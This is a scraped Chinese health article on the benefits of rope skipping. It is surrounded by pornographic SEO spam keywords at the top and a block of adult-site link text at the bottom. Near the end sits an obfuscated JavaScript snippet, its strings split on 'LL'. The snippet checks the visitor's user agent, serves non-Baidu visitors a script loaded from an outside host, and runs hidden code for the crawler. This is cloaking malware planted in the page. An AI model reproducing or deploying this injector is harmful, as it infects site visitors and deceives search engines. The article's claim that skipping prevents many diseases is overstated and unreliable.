久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

跳繩的好處是什么呢?

2017-04-14 20:06:56  來源:360常識網   熱度:
導語:每逢走到公園里的時候健身的人們四處可以看見,健身的方式更是不同,有踢毽子的,有慢跑的,有打球的,有跳舞的,還有很多跳繩的。其實跳繩

每逢走到公園里的時候健身的人們四處可以看見,健身的方式更是不同,有踢毽子的,有慢跑的,有打球的,有跳舞的,還有很多跳繩的。其實跳繩運動一直以來就深受人們的喜歡,它不但可以跳出很多花樣,而且對身體有很多好處,下面就讓小編給大家詳細介紹一下跳繩都有哪些好處吧!

近年來,在各種健身運動中,跳繩運動備受國內外許多健身專家的推崇。它的好處不容忽視。

首先,它是一種耗時少、耗能大的有氧運動。從運動量來說,持續跳繩10分鐘,與做健身操20分鐘和慢跑30分鐘的效果相當。其花樣繁多,有蹲跳、單腳跳、換腳跳、反手跳、雙腳并跳等,簡單易行,一學就會,此時正是寒氣逼人的冬季,跳繩暖身亦是不錯的健身方法。

其次,可以鍛煉人體多種器官。跳繩以下肢彈跳和后蹬動作為主,同時手臂擺動,腰部隨上下肢扭動,腹部肌群收縮配合提腿,藉此減少腿部、臀部、腰部多余的贅肉,達到減肥的目的。

在跳繩過程中,手、足、腦并用,呼吸加深,有助于增強人的肌肉和心肺功能,增加腦神經細胞的活力,提高思維反應能力。通過跳繩運動,可以加速人體新陳代謝,促進血液循環,強化血管功能。

科學研究證明:跳繩可以預防高血壓、高血脂、關節炎、糖尿病、肥胖癥、失眠癥、抑郁癥、骨質疏松、肌肉萎縮和更年期綜合癥等多種疾病。對更年期婦女而言,具有放松情緒、保障心理健康的積極作用。

身材肥壯者,最好選在飯前跳繩,因為飯前運動可以降低食欲。跳繩時宜穿質地柔軟、舒適輕便的運動鞋,避免腳踝受傷;繩子以軟硬、粗細適中為佳。

初學者通常選用硬繩,熟練后可改為軟繩,選擇軟硬適中的草坪、木質地板和泥土地的場地較好,避免在硬性水泥地上跳繩,防止關節損傷;跳繩時應放松肌肉和關節,腳尖和腳跟相互協調,預防扭傷。體態臃腫者和中年婦女宜采用雙腳并跳,向上跳躍的幅度不可過高,否則,關節因過于負重而受傷。

此外,跳繩前手部、足部、腿部、踝部要先做熱身活動,跳繩子后做拉伸運動,活絡筋骨,放松肌肉,防止意外損傷和小腿變粗。

從上面可以看出來,跳繩可以鍛煉人體的多種器官,對肥胖者來說,跳繩屬于非常好的一種減肥方式,但需要注意的是,跳繩最好要選擇好時間,不要在飯后立刻運動,另外,一定要堅持住,如果不能堅持的話,跳繩的好處是看不出來的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产不卡在线视频 | 欧美 日韩 国产 成人 在线 | 久久a国产| 精品久久一区二区 | a性片| 99视频免费在线观看 | 中文字幕免费 | 日韩色影视 | 欧美日韩高清 | 欧州一区二区 | 成人欧美一区二区三区在线观看 | 午夜妇女aaaa区片 | 精品一区电影国产 | 午夜精品一区 | 一区二区中文字幕 | 草草久久久 | 亚洲一区久久 | 午夜影院入口 | 特级黄一级播放 | 国产精品美女久久久久久久久久久 | 国产精品久久嫩一区二区免费 | 亚洲中午字幕 | 日韩一区不卡 | 一级片在线免费看 | 日本免费中文字幕 | 亚洲欧美中文日韩在线v日本 | 久久亚洲一区二区三区四区 | 亚洲毛片在线 | 免费黄色激情视频 | 国产精品中文字幕在线播放 | 欧美区国产区 | 欧洲精品一区二区 | 艹逼网| 嫩草影院网站入口 | 精品久久久久久久久久久久久久 | 国产成人精品综合 | 在线观看的黄色网址 | 在线一区观看 | 美国特级a毛片免费网站 | 久久婷婷视频 | 欧美成人不卡 |